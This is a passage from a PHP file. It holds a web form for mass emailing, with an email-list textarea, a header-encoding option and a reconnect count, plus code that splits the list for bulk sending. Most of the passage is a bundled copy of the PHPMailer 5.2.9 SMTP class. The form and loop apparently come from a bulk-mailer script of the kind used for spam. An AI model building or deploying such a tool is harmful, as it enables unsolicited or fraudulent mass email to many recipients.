6790 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
6791 <select class="form-control" name="encoding">
6792 <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
6793 <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
6794 </select>
6795 </div>
6796 <div style="margin-bottom: 10px" class="input-group">
6797 <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
6798 <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?php echo $emaillist;?></textarea>
6799 <span class="input-group" style="margin-bottom: 10px">
6800 <input type="text" name="reconnect" value="<?php echo $reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6801 </span> </div>
6802
6803 </div>
6804 <div class="form-group">
6805 </div>
6806
6807 </form>
6808
6809 </div>
6810 </div>
6811<?php
6812
6813if ($action){
6814
6815 if (!$subject && !$message && !$emaillist) {
6816 print "<script>alert('Please complete all fields before sending your message.'); </script>";
6817 die();
6818 }
6819 if ($_POST['encoding']=='yes') {
6820 $subject = encodeyes($subject);
6821 $nama = encodeyes($nama);
6822
6823
6824 }
6825
6826 $allemails = explode("\n", $emaillist);
6827 $numemails = count($allemails);
6828
6829
6830 function xflush()
6831 {
6832 static $output_handler = null;
6833 if ($output_handler === null) {
6834 $output_handler = @ini_get('output_handler');
6835 }
6836 if ($output_handler == 'ob_gzhandler') {
6837 return;
6838 }
6839 flush();
6840 if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
6841 @ob_flush();
6842 } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
6843 @ob_end_flush();
6844 @ob_start();
6845 }
6846 }
6847?>
6848<?php
6849/**
6850 * PHPMailer RFC821 SMTP email transport class.
6851 * PHP Version 5
6852 * @package PHPMailer
6853 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
6854 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
6855 * @author Jim Jagielski (jimjag) <>
6856 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
6857 * @author Brent R. Matzelle (original founder)
6858 * @copyright 2014 Marcus Bointon
6859 * @copyright 2010 - 2012 Jim Jagielski
6860 * @copyright 2004 - 2009 Andy Prevost
6861 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
6862 * @note This program is distributed in the hope that it will be useful - WITHOUT
6863 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
6864 * FITNESS FOR A PARTICULAR PURPOSE.
6865 */
6866
6867/**
6868 * PHPMailer RFC821 SMTP email transport class.
6869 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
6870 * @package PHPMailer
6871 * @author Chris Ryan
6872 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
6873 */
6874class SMTP
6875{
6876 /**
6877 * The PHPMailer SMTP version number.
6878 * @type string
6879 */
6880 const VERSION = '5.2.9';
6881
6882 /**
6883 * SMTP line break constant.
6884 * @type string
6885 */
6886 const CRLF = "\r\n";
6887
6888 /**
6889 * The SMTP port to use if one is not specified.
6890 * @type integer
6891 */
6892 const DEFAULT_SMTP_PORT = 25;
6893
6894 /**
6895 * The maximum line length allowed by RFC 2822 section 2.1.1
6896 * @type integer
6897 */
6898 const MAX_LINE_LENGTH = 998;
6899
6900 /**
6901 * Debug level for no output
6902 */
6903 const DEBUG_OFF = 0;
6904
6905 /**
6906 * Debug level to show client -> server messages
6907 */
6908 const DEBUG_CLIENT = 1;
6909
6910 /**
6911 * Debug level to show client -> server and server -> client messages
6912 */
6913 const DEBUG_SERVER = 2;
6914
6915 /**
6916 * Debug level to show connection status, client -> server and server -> client messages
6917 */
6918 const DEBUG_CONNECTION = 3;
6919
6920 /**
6921 * Debug level to show all messages
6922 */
6923 const DEBUG_LOWLEVEL = 4;
6924
6925 /**
6926 * The PHPMailer SMTP Version number.
6927 * @type string
6928 * @deprecated Use the `VERSION` constant instead
6929 * @see SMTP::VERSION
6930 */
6931 public $Version = '5.2.9';
6932
6933 /**
6934 * SMTP server port number.
6935 * @type integer
6936 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
6937 * @see SMTP::DEFAULT_SMTP_PORT
6938 */
6939 public $SMTP_PORT = 25;
6940
6941 /**
6942 * SMTP reply line ending.
6943 * @type string
6944 * @deprecated Use the `CRLF` constant instead
6945 * @see SMTP::CRLF
6946 */
6947 public $CRLF = "\r\n";
6948
6949 /**
6950 * Debug output level.
6951 * Options:
6952 * * self::DEBUG_OFF (`0`) No debug output, default
6953 * * self::DEBUG_CLIENT (`1`) Client commands
6954 * * self::DEBUG_SERVER (`2`) Client commands and server responses
6955 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
6956 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
6957 * @type integer
6958 */
6959 public $do_debug = self::DEBUG_OFF;
6960
6961 /**
6962 * How to handle debug output.
6963 * Options:
6964 * * `echo` Output plain-text as-is, appropriate for CLI
6965 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
6966 * * `error_log` Output to error log as configured in php.ini
6967 *
6968 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
6969 * <code>
6970 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
6971 * </code>
6972 * @type string|callable
6973 */
6974 public $Debugoutput = 'echo';
6975
6976 /**
6977 * Whether to use VERP.
6978 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
6979 * @link http://www.postfix.org/VERP_README.html Info on VERP
6980 * @type boolean
6981 */
6982 public $do_verp = false;
6983
6984 /**
6985 * The timeout value for connection, in seconds.
6986 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6987 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
6988 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
6989 * @type integer
6990 */
6991 public $Timeout = 300;
6992
6993 /**
6994 * How long to wait for commands to complete, in seconds.
6995 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6996 * @type integer
6997 */
6998 public $Timelimit = 300;
6999
7000 /**
7001 * The socket for the server connection.
7002 * @type resource
7003 */
7004 protected $smtp_conn;
7005
7006 /**
7007 * Error message, if any, for the last call.
7008 * @type array
7009 */
7010 protected $error = array();
7011
7012 /**
7013 * The reply the server sent to us for HELO.
7014 * If null, no HELO string has yet been received.
7015 * @type string|null
7016 */
7017 protected $helo_rply = null;
7018
7019 /**
7020 * The set of SMTP extensions sent in reply to EHLO command.
7021 * Indexes of the array are extension names.
7022 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
7023 * represents the server name. In case of HELO it is the only element of the array.
7024 * Other values can be boolean TRUE or an array containing extension options.
7025 * If null, no HELO/EHLO string has yet been received.
7026 * @type array|null
7027 */
7028 protected $server_caps = null;
7029
7030 /**
7031 * The most recent reply received from the server.
7032 * @type string
7033 */
7034 protected $last_reply = '';
7035
7036 /**
7037 * Output debugging info via a user-selected method.
7038 * @see SMTP::$Debugoutput
7039 * @see SMTP::$do_debug
7040 * @param string $str Debug string to output
7041 * @param integer $level The debug level of this message; see DEBUG_* constants
7042 * @return void
7043 */
7044 protected function edebug($str, $level = 0)
7045 {
7046 if ($level > $this->do_debug) {
7047 return;
7048 }
7049 //Avoid clash with built-in function names
7050 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
7051 call_user_func($this->Debugoutput, $str, $this->do_debug);
7052 return;
7053 }
7054 switch ($this->Debugoutput) {
7055 case 'error_log':
7056 //Don't output, just log
7057 error_log($str);
7058 break;
7059 case 'html':
7060 //Cleans up output a bit for a better looking, HTML-safe output
7061 echo htmlentities(
7062 preg_replace('/[\r\n]+/', '', $str),
7063 ENT_QUOTES,
7064 'UTF-8'
7065 )
7066 . "<br>\n";
7067 break;
7068 case 'echo':
7069 default:
7070 //Normalize line breaks
7071 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
7072 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
7073 "\n",
7074 "\n \t ",
7075 trim($str)
7076 )."\n";
7077 }
7078 }
7079
7080 /**
7081 * Connect to an SMTP server.
7082 * @param string $host SMTP server IP or host name
7083 * @param integer $port The port number to connect to
7084 * @param integer $timeout How long to wait for the connection to open
7085 * @param array $options An array of options for stream_context_create()
7086 * @access public
7087 * @return boolean
7088 */
7089 public function connect($host, $port = null, $timeout = 30, $options = array())
7090 {
7091 static $streamok;
7092 //This is enabled by default since 5.0.0 but some providers disable it
7093 //Check this once and cache the result
7094 if (is_null($streamok)) {
7095 $streamok = function_exists('stream_socket_client');
7096 }
7097 // Clear errors to avoid confusion
7098 $this->error = array();
7099 // Make sure we are __not__ connected
7100 if ($this->connected()) {
7101 // Already connected, generate error
7102 $this->error = array('error' => 'Already connected to a server');
7103 return false;
7104 }
7105 if (empty($port)) {
7106 $port = self::DEFAULT_SMTP_PORT;
7107 }
7108 // Connect to the SMTP server
7109 $this->edebug(
7110 "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
7111 self::DEBUG_CONNECTION
7112 );
7113 $errno = 0;
7114 $errstr = '';
7115 if ($streamok) {
7116 $socket_context = stream_context_create($options);
7117 //Suppress errors; connection failures are handled at a higher level
7118 $this->smtp_conn = @stream_socket_client(
7119 $host . ":" . $port,
7120 $errno,
7121 $errstr,
7122 $timeout,
7123 STREAM_CLIENT_CONNECT,
7124 $socket_context
7125 );
7126 } else {
7127 //Fall back to fsockopen which should work in more places, but is missing some features
7128 $this->edebug(
7129 "Connection: stream_socket_client not available, falling back to fsockopen",
7130 self::DEBUG_CONNECTION
7131 );
7132 $this->smtp_conn = fsockopen(
7133 $host,
7134 $port,
7135 $errno,
7136 $errstr,
7137 $timeout
7138 );
7139 }
7140 // Verify we connected properly
7141 if (!is_resource($this->smtp_conn)) {
7142 $this->error = array(
7143 'error' => 'Failed to connect to server',
7144 'errno' => $errno,
7145 'errstr' => $errstr
7146 );
7147 $this->edebug(
7148 'SMTP ERROR: ' . $this->error['error']
7149 . ": $errstr ($errno)",
7150 self::DEBUG_CLIENT
7151 );
7152 return false;
7153 }
7154 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
7155 // SMTP server can take longer to respond, give longer timeout for first read
7156 // Windows does not have support for this timeout function
7157 if (substr(PHP_OS, 0, 3) != 'WIN') {
7158 $max = ini_get('max_execution_time');
7159 if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
7160 @set_time_limit($timeout);
7161 }
7162 stream_set_timeout($this->smtp_conn, $timeout, 0);
7163 }
7164 // Get any announcement
7165 $announce = $this->get_lines();
7166 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
7167 return true;
7168 }
7169
7170 /**
7171 * Initiate a TLS (encrypted) session.
7172 * @access public
7173 * @return boolean
7174 */
7175 public function startTLS()
7176 {
7177 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
7178 return false;
7179 }
7180 // Begin encrypted connection
7181 if (!stream_socket_enable_crypto(
7182 $this->smtp_conn,
7183 true,
7184 STREAM_CRYPTO_METHOD_TLS_CLIENT
7185 )) {
7186 return false;
7187 }
7188 return true;
7189 }
7190
7191 /**
7192 * Perform SMTP authentication.
7193 * Must be run after hello().
7194 * @see hello()
7195 * @param string $username The user name
7196 * @param string $password The password
7197 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
7198 * @param string $realm The auth realm for NTLM
7199 * @param string $workstation The auth workstation for NTLM
7200 * @access public
7201 * @return boolean True if successfully authenticated.
7202 */
7203 public function authenticate(
7204 $username,
7205 $password,
7206 $authtype = null,
7207 $realm = '',
7208 $workstation = ''
7209 ) {
7210 if (!$this->server_caps) {
7211 $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
7212 return false;
7213 }
7214
7215 if (array_key_exists('EHLO', $this->server_caps)) {
7216 // SMTP extensions are available. Let's try to find a proper authentication method
7217
7218 if (!array_key_exists('AUTH', $this->server_caps)) {
7219 $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
7220 // 'at this stage' means that auth may be allowed after the stage changes
7221 // e.g. after STARTTLS
7222 return false;
7223 }
7224
7225 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
7226 self::edebug(
7227 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
7228 self::DEBUG_LOWLEVEL
7229 );
7230
7231 if (empty($authtype)) {
7232 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
7233 if (in_array($method, $this->server_caps['AUTH'])) {
7234 $authtype = $method;
7235 break;
7236 }
7237 }
7238 if (empty($authtype)) {
7239 $this->error = array( 'error' => 'No supported authentication methods found' );
7240 return false;
7241 }
7242 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
7243 }
7244
7245 if (!in_array($authtype, $this->server_caps['AUTH'])) {
7246 $this->error = array( 'error' => 'The requested authentication method "'
7247 . $authtype . '" is not supported by the server' );
7248 return false;
7249 }
7250 } elseif (empty($authtype)) {
7251 $authtype = 'LOGIN';
7252 }
7253 switch ($authtype) {
7254 case 'PLAIN':
7255 // Start authentication
7256 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
7257 return false;
7258 }
7259 // Send encoded username and password
7260 if (!$this->sendCommand(
7261 'User & Password',
7262 base64_encode("\0" . $username . "\0" . $password),
7263 235
7264 )
7265 ) {
7266 return false;
7267 }
7268 break;
7269 case 'LOGIN':
7270 // Start authentication
7271 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
7272 return false;
7273 }
7274 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
7275 return false;
7276 }
7277 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
7278 return false;
7279 }
7280 break;
7281 case 'NTLM':
7282 /*
7283 * ntlm_sasl_client.php
7284 * Bundled with Permission
7285 *
7286 * How to telnet in windows:
7287 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
7288 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
7289 */
7290 require_once 'extras/ntlm_sasl_client.php';
7291 $temp = new stdClass();
7292 $ntlm_client = new ntlm_sasl_client_class;
7293 //Check that functions are available
7294 if (!$ntlm_client->Initialize($temp)) {
7295 $this->error = array('error' => $temp->error);
7296 $this->edebug(
7297 'You need to enable some modules in your php.ini file: '
7298 . $this->error['error'],
7299 self::DEBUG_CLIENT
7300 );
7301 return false;
7302 }
7303 //msg1
7304 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
7305
7306 if (!$this->sendCommand(
7307 'AUTH NTLM',
7308 'AUTH NTLM ' . base64_encode($msg1),
7309 334
7310 )
7311 ) {
7312 return false;
7313 }
7314 //Though 0 based, there is a white space after the 3 digit number
7315 //msg2
7316 $challenge = substr($this->last_reply, 3);
7317 $challenge = base64_decode($challenge);
7318 $ntlm_res = $ntlm_client->NTLMResponse(
7319 substr($challenge, 24, 8),
7320 $password
7321 );
7322 //msg3
7323 $msg3 = $ntlm_client->TypeMsg3(
7324 $ntlm_res,
7325 $username,
7326 $realm,
7327 $workstation
7328 );
7329 // send encoded username
7330 return $this->sendCommand('Username', base64_encode($msg3), 235);
7331 case 'CRAM-MD5':
7332 // Start authentication
7333 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
7334 return false;
7335 }
7336 // Get the challenge
7337 $challenge = base64_decode(substr($this->last_reply, 4));
7338
7339 // Build the response
7340 $response = $username . ' ' . $this->hmac($challenge, $password);
7341
7342 // send encoded credentials
7343 return $this->sendCommand('Username', base64_encode($response), 235);
7344 default:
7345 $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
7346 return false;
7347 }
7348 return true;
7349 }
7350
7351 /**
7352 * Calculate an MD5 HMAC hash.
7353 * Works like hash_hmac('md5', $data, $key)
7354 * in case that function is not available
7355 * @param string $data The data to hash
7356 * @param string $key The key to hash with
7357 * @access protected
7358 * @return string
7359 */
7360 protected function hmac($data, $key)
7361 {
7362 if (function_exists('hash_hmac')) {
7363 return hash_hmac('md5', $data, $key);
7364 }
7365
7366 // The following borrowed from
7367 // http://php.net/manual/en/function.mhash.php#27225
7368
7369 // RFC 2104 HMAC implementation for php.
7370 // Creates an md5 HMAC.
7371 // Eliminates the need to install mhash to compute a HMAC
7372 // by Lance Rushing
7373
7374 $bytelen = 64; // byte length for md5
7375 if (strlen($key) > $bytelen) {
7376 $key = pack('H*', md5($key));
7377 }
7378 $key = str_pad($key, $bytelen, chr(0x00));
7379 $ipad = str_pad('', $bytelen, chr(0x36));
7380 $opad = str_pad('', $bytelen, chr(0x5c));
7381 $k_ipad = $key ^ $ipad;
7382 $k_opad = $key ^ $opad;
7383
7384 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
7385 }
7386
7387 /**
7388 * Check connection state.
7389 * @access public
7390 * @return boolean True if connected.
7391 */
7392 public function connected()
7393 {
7394 if (is_resource($this->smtp_conn)) {
7395 $sock_status = stream_get_meta_data($this->smtp_conn);
7396 if ($sock_status['eof']) {
7397 // The socket is valid but we are not connected
7398 $this->edebug(
7399 'SMTP NOTICE: EOF caught while checking if connected',
7400 self::DEBUG_CLIENT
7401 );
7402 $this->close();
7403 return false;
7404 }
7405 return true; // everything looks good
7406 }
7407 return false;
7408 }
7409
7410 /**
7411 * Close the socket and clean up the state of the class.
7412 * Don't use this function without first trying to use QUIT.
7413 * @see quit()
7414 * @access public
7415 * @return void
7416 */
7417 public function close()
7418 {
7419 $this->error = array();
7420 $this->server_caps = null;
7421 $this->helo_rply = null;
7422 if (is_resource($this->smtp_conn)) {
7423 // close the connection and cleanup
7424 fclose($this->smtp_conn);
7425 $this->smtp_conn = null; //Makes for cleaner serialization
7426 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
7427 }
7428 }
7429
7430 /**
7431 * Send an SMTP DATA command.
7432 * Issues a data command and sends the msg_data to the server,
7433 * finializing the mail transaction. $msg_data is the message
7434 * that is to be send with the headers. Each header needs to be
7435 * on a single line followed by a <CRLF> with the message headers
7436 * and the message body being separated by and additional <CRLF>.
7437 * Implements rfc 821: DATA <CRLF>
7438 * @param string $msg_data Message data to send
7439 * @access public
7440 * @return boolean
7441 */
7442 public function data($msg_data)
7443 {
7444 //This will use the standard timelimit
7445 if (!$this->sendCommand('DATA', 'DATA', 354)) {
7446 return false;
7447 }
7448
7449 /* The server is ready to accept data!
7450 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
7451 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
7452 * smaller lines to fit within the limit.
7453 * We will also look for lines that start with a '.' and prepend an additional '.'.
7454 * NOTE: this does not count towards line-length limit.
7455 */
7456
7457 // Normalize line breaks before exploding
7458 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
7459
7460 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
7461 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
7462 * process all lines before a blank line as headers.
7463 */
7464
7465 $field = substr($lines[0], 0, strpos($lines[0], ':'));
7466 $in_headers = false;
7467 if (!empty($field) && strpos($field, ' ') === false) {
7468 $in_headers = true;
7469 }
7470
7471 foreach ($lines as $line) {
7472 $lines_out = array();
7473 if ($in_headers and $line == '') {
7474 $in_headers = false;
7475 }
7476 //We need to break this line up into several smaller lines
7477 //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
7478 while (isset($line[self::MAX_LINE_LENGTH])) {
7479 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
7480 //so as to avoid breaking in the middle of a word
7481 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
7482 if (!$pos) { //Deliberately matches both false and 0
7483 //No nice break found, add a hard break
7484 $pos = self::MAX_LINE_LENGTH - 1;
7485 $lines_out[] = substr($line, 0, $pos);
7486 $line = substr($line, $pos);
7487 } else {
7488 //Break at the found point
7489 $lines_out[] = substr($line, 0, $pos);
7490 //Move along by the amount we dealt with
7491 $line = substr($line, $pos + 1);
7492 }
7493 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
7494 if ($in_headers) {
7495 $line = "\t" . $line;
7496 }
7497 }
7498 $lines_out[] = $line;
7499
7500 //Send the lines to the server
7501 foreach ($lines_out as $line_out) {
7502 //RFC2821 section 4.5.2
7503 if (!empty($line_out) and $line_out[0] == '.') {
7504 $line_out = '.' . $line_out;
7505 }
7506 $this->client_send($line_out . self::CRLF);
7507 }
7508 }
7509
7510 //Message data has been sent, complete the command
7511 //Increase timelimit for end of DATA command
7512 $savetimelimit = $this->Timelimit;
7513 $this->Timelimit = $this->Timelimit * 2;
7514 $result = $this->sendCommand('DATA END', '.', 250);
7515 //Restore timelimit
7516 $this->Timelimit = $savetimelimit;
7517 return $result;
7518 }
7519
7520 /**
7521 * Send an SMTP HELO or EHLO command.
7522 * Used to identify the sending server to the receiving server.
7523 * This makes sure that client and server are in a known state.
7524 * Implements RFC 821: HELO <SP> <domain> <CRLF>
7525 * and RFC 2821 EHLO.
7526 * @param string $host The host name or IP to connect to
7527 * @access public
7528 * @return boolean
7529 */
7530 public function hello($host = '')
7531 {
7532 //Try extended hello first (RFC 2821)
7533 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
7534 }
7535
7536 /**
7537 * Send an SMTP HELO or EHLO command.
7538 * Low-level implementation used by hello()
7539 * @see hello()
7540 * @param string $hello The HELO string
7541 * @param string $host The hostname to say we are
7542 * @access protected
7543 * @return boolean
7544 */
7545 protected function sendHello($hello, $host)
7546 {
7547 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
7548 $this->helo_rply = $this->last_reply;
7549 if ($noerror) {
7550 $this->parseHelloFields($hello);
7551 } else {
7552 $this->server_caps = null;
7553 }
7554 return $noerror;
7555 }
7556
7557 /**
7558 * Parse a reply to HELO/EHLO command to discover server extensions.
7559 * In case of HELO, the only parameter that can be discovered is a server name.
7560 * @access protected
7561 * @param string $type - 'HELO' or 'EHLO'
7562 */
7563 protected function parseHelloFields($type)
7564 {
7565 $this->server_caps = array();
7566 $lines = explode("\n", $this->last_reply);
7567 foreach ($lines as $n => $s) {
7568 $s = trim(substr($s, 4));
7569 if (!$s) {
7570 continue;
7571 }
7572 $fields = explode(' ', $s);
7573 if ($fields) {
7574 if (!$n) {
7575 $name = $type;
7576 $fields = $fields[0];
7577 } else {
7578 $name = array_shift($fields);
7579 if ($name == 'SIZE') {
7580 $fields = ($fields) ? $fields[0] : 0;
7581 }
7582 }
7583 $this->server_caps[$name] = ($fields ? $fields : true);
7584 }
7585 }
7586 }
7587
7588 /**
7589 * Send an SMTP MAIL command.
7590 * Starts a mail transaction from the email address specified in
7591 * $from. Returns true if successful or false otherwise. If True
7592 * the mail transaction is started and then one or more recipient
7593 * commands may be called followed by a data command.
7594 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
7595 * @param string $from Source address of this message
7596 * @access public
7597 * @return boolean
7598 */
7599 public function mail($from)
7600 {
7601 $useVerp = ($this->do_verp ? ' XVERP' : '');
7602 return $this->sendCommand(
7603 'MAIL FROM',
7604 'MAIL FROM:<' . $from . '>' . $useVerp,
7605 250
7606 );
7607 }
7608
7609 /**
7610 * Send an SMTP QUIT command.
7611 * Closes the socket if there is no error or the $close_on_error argument is true.
7612 * Implements from rfc 821: QUIT <CRLF>
7613 * @param boolean $close_on_error Should the connection close if an error occurs?
7614 * @access public
7615 * @return boolean
7616 */
7617 public function quit($close_on_error = true)
7618 {
7619 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
7620 $err = $this->error; //Save any error
7621 if ($noerror or $close_on_error) {
7622 $this->close();
7623 $this->error = $err; //Restore any error from the quit command
7624 }
7625 return $noerror;
7626 }
7627
7628 /**
7629 * Send an SMTP RCPT command.
7630 * Sets the TO argument to $toaddr.
7631 * Returns true if the recipient was accepted false if it was rejected.
7632 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
7633 * @param string $toaddr The address the message is being sent to
7634 * @access public
7635 * @return boolean
7636 */
7637 public function recipient($toaddr)
7638 {
7639 return $this->sendCommand(
7640 'RCPT TO',
7641 'RCPT TO:<' . $toaddr . '>',
7642 array(250, 251)
7643 );
7644 }
7645
7646 /**
7647 * Send an SMTP RSET command.
7648 * Abort any transaction that is currently in progress.
7649 * Implements rfc 821: RSET <CRLF>
7650 * @access public
7651 * @return boolean True on success.
7652 */
7653 public function reset()
7654 {
7655 return $this->sendCommand('RSET', 'RSET', 250);
7656 }
7657
7658 /**
7659 * Send a command to an SMTP server and check its return code.
7660 * @param string $command The command name - not sent to the server
7661 * @param string $commandstring The actual command to send
7662 * @param integer|array $expect One or more expected integer success codes
7663 * @access protected
7664 * @return boolean True on success.
7665 */
7666 protected function sendCommand($command, $commandstring, $expect)
7667 {
7668 if (!$this->connected()) {
7669 $this->error = array(
7670 'error' => "Called $command without being connected"
7671 );
7672 return false;
7673 }
7674 $this->client_send($commandstring . self::CRLF);
7675
7676 $this->last_reply = $this->get_lines();
7677 // Fetch SMTP code and possible error code explanation
7678 $matches = array();
7679 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
7680 $code = $matches[1];
7681 $code_ex = (count($matches) > 2 ? $matches[2] : null);
7682 // Cut off error code from each response line
7683 $detail = preg_replace(
7684 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
7685 '',
7686 $this->last_reply
7687 );
7688 } else { // Fall back to simple parsing if regex fails
7689 $code = substr($this->last_reply, 0, 3);
7690 $code_ex = null;
7691 $detail = substr($this->last_reply, 4);
7692 }
7693
7694 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
7695
7696 if (!in_array($code, (array)$expect)) {
7697 $this->error = array(
7698 'error' => "$command command failed",
7699 'smtp_code' => $code,
7700 'smtp_code_ex' => $code_ex,
7701 'detail' => $detail
7702 );
7703 $this->edebug(
7704 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
7705 self::DEBUG_CLIENT
7706 );
7707 return false;
7708 }
7709
7710 $this->error = array();
7711 return true;
7712 }
7713
7714 /**
7715 * Send an SMTP SAML command.
7716 * Starts a mail transaction from the email address specified in $from.
7717 * Returns true if successful or false otherwise. If True
7718 * the mail transaction is started and then one or more recipient
7719 * commands may be called followed by a data command. This command
7720 * will send the message to the users terminal if they are logged
7721 * in and send them an email.
7722 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
7723 * @param string $from The address the message is from
7724 * @access public
7725 * @return boolean
7726 */
7727 public function sendAndMail($from)
7728 {
7729 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
7730 }
7731
7732 /**
7733 * Send an SMTP VRFY command.
7734 * @param string $name The name to verify
7735 * @access public
7736 * @return boolean
7737 */
7738 public function verify($name)
7739 {
7740 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
7741 }
7742
7743 /**
7744 * Send an SMTP NOOP command.
7745 * Used to keep keep-alives alive, doesn't actually do anything
7746 * @access public
7747 * @return boolean
7748 */
7749 public function noop()
7750 {
7751 return $this->sendCommand('NOOP', 'NOOP', 250);
7752 }
7753
7754 /**
7755 * Send an SMTP TURN command.
7756 * This is an optional command for SMTP that this class does not support.
7757 * This method is here to make the RFC821 Definition complete for this class
7758 * and _may_ be implemented in future
7759 * Implements from rfc 821: TURN <CRLF>
7760 * @access public
7761 * @return boolean
7762 */
7763 public function turn()
7764 {
7765 $this->error = array(
7766 'error' => 'The SMTP TURN command is not implemented'
7767 );
7768 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
7769 return false;
7770 }
7771
7772 /**
7773 * Send raw data to the server.
7774 * @param string $data The data to send
7775 * @access public
7776 * @return integer|boolean The number of bytes sent to the server or false on error
7777 */
7778 public function client_send($data)
7779 {
7780 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
7781 return fwrite($this->smtp_conn, $data);
7782 }
7783
7784 /**
7785 * Get the latest error.
7786 * @access public
7787 * @return array
7788 */
7789 public function getError()
7790 {
7791 return $this->error;
7792 }
7793
7794 /**
7795 * Get SMTP extensions available on the server
7796 * @access public
7797 * @return array|null
7798 */
7799 public function getServerExtList()
7800 {
7801 return $this->server_caps;
7802 }
7803
7804 /**
7805 * A multipurpose method
7806 * The method works in three ways, dependent on argument value and current state
7807 * 1. HELO/EHLO was not sent - returns null and set up $this->error
7808 * 2. HELO was sent
7809 * $name = 'HELO': returns server name
7810 * $name = 'EHLO': returns boolean false
7811 * $name = any string: returns null and set up $this->error
7812 * 3. EHLO was sent
7813 * $name = 'HELO'|'EHLO': returns server name
7814 * $name = any string: if extension $name exists, returns boolean True
7815 * or its options. Otherwise returns boolean False
7816 * In other words, one can use this method to detect 3 conditions:
7817 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
7818 * - false returned: the requested feature exactly not exists
7819 * - positive value returned: the requested feature exists
7820 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
7821 * @return mixed
7822 */
7823 public function getServerExt($name)
7824 {
7825 if (!$this->server_caps) {
7826 $this->error = array('No HELO/EHLO was sent');
7827 return null;
7828 }
7829
7830 // the tight logic knot ;)
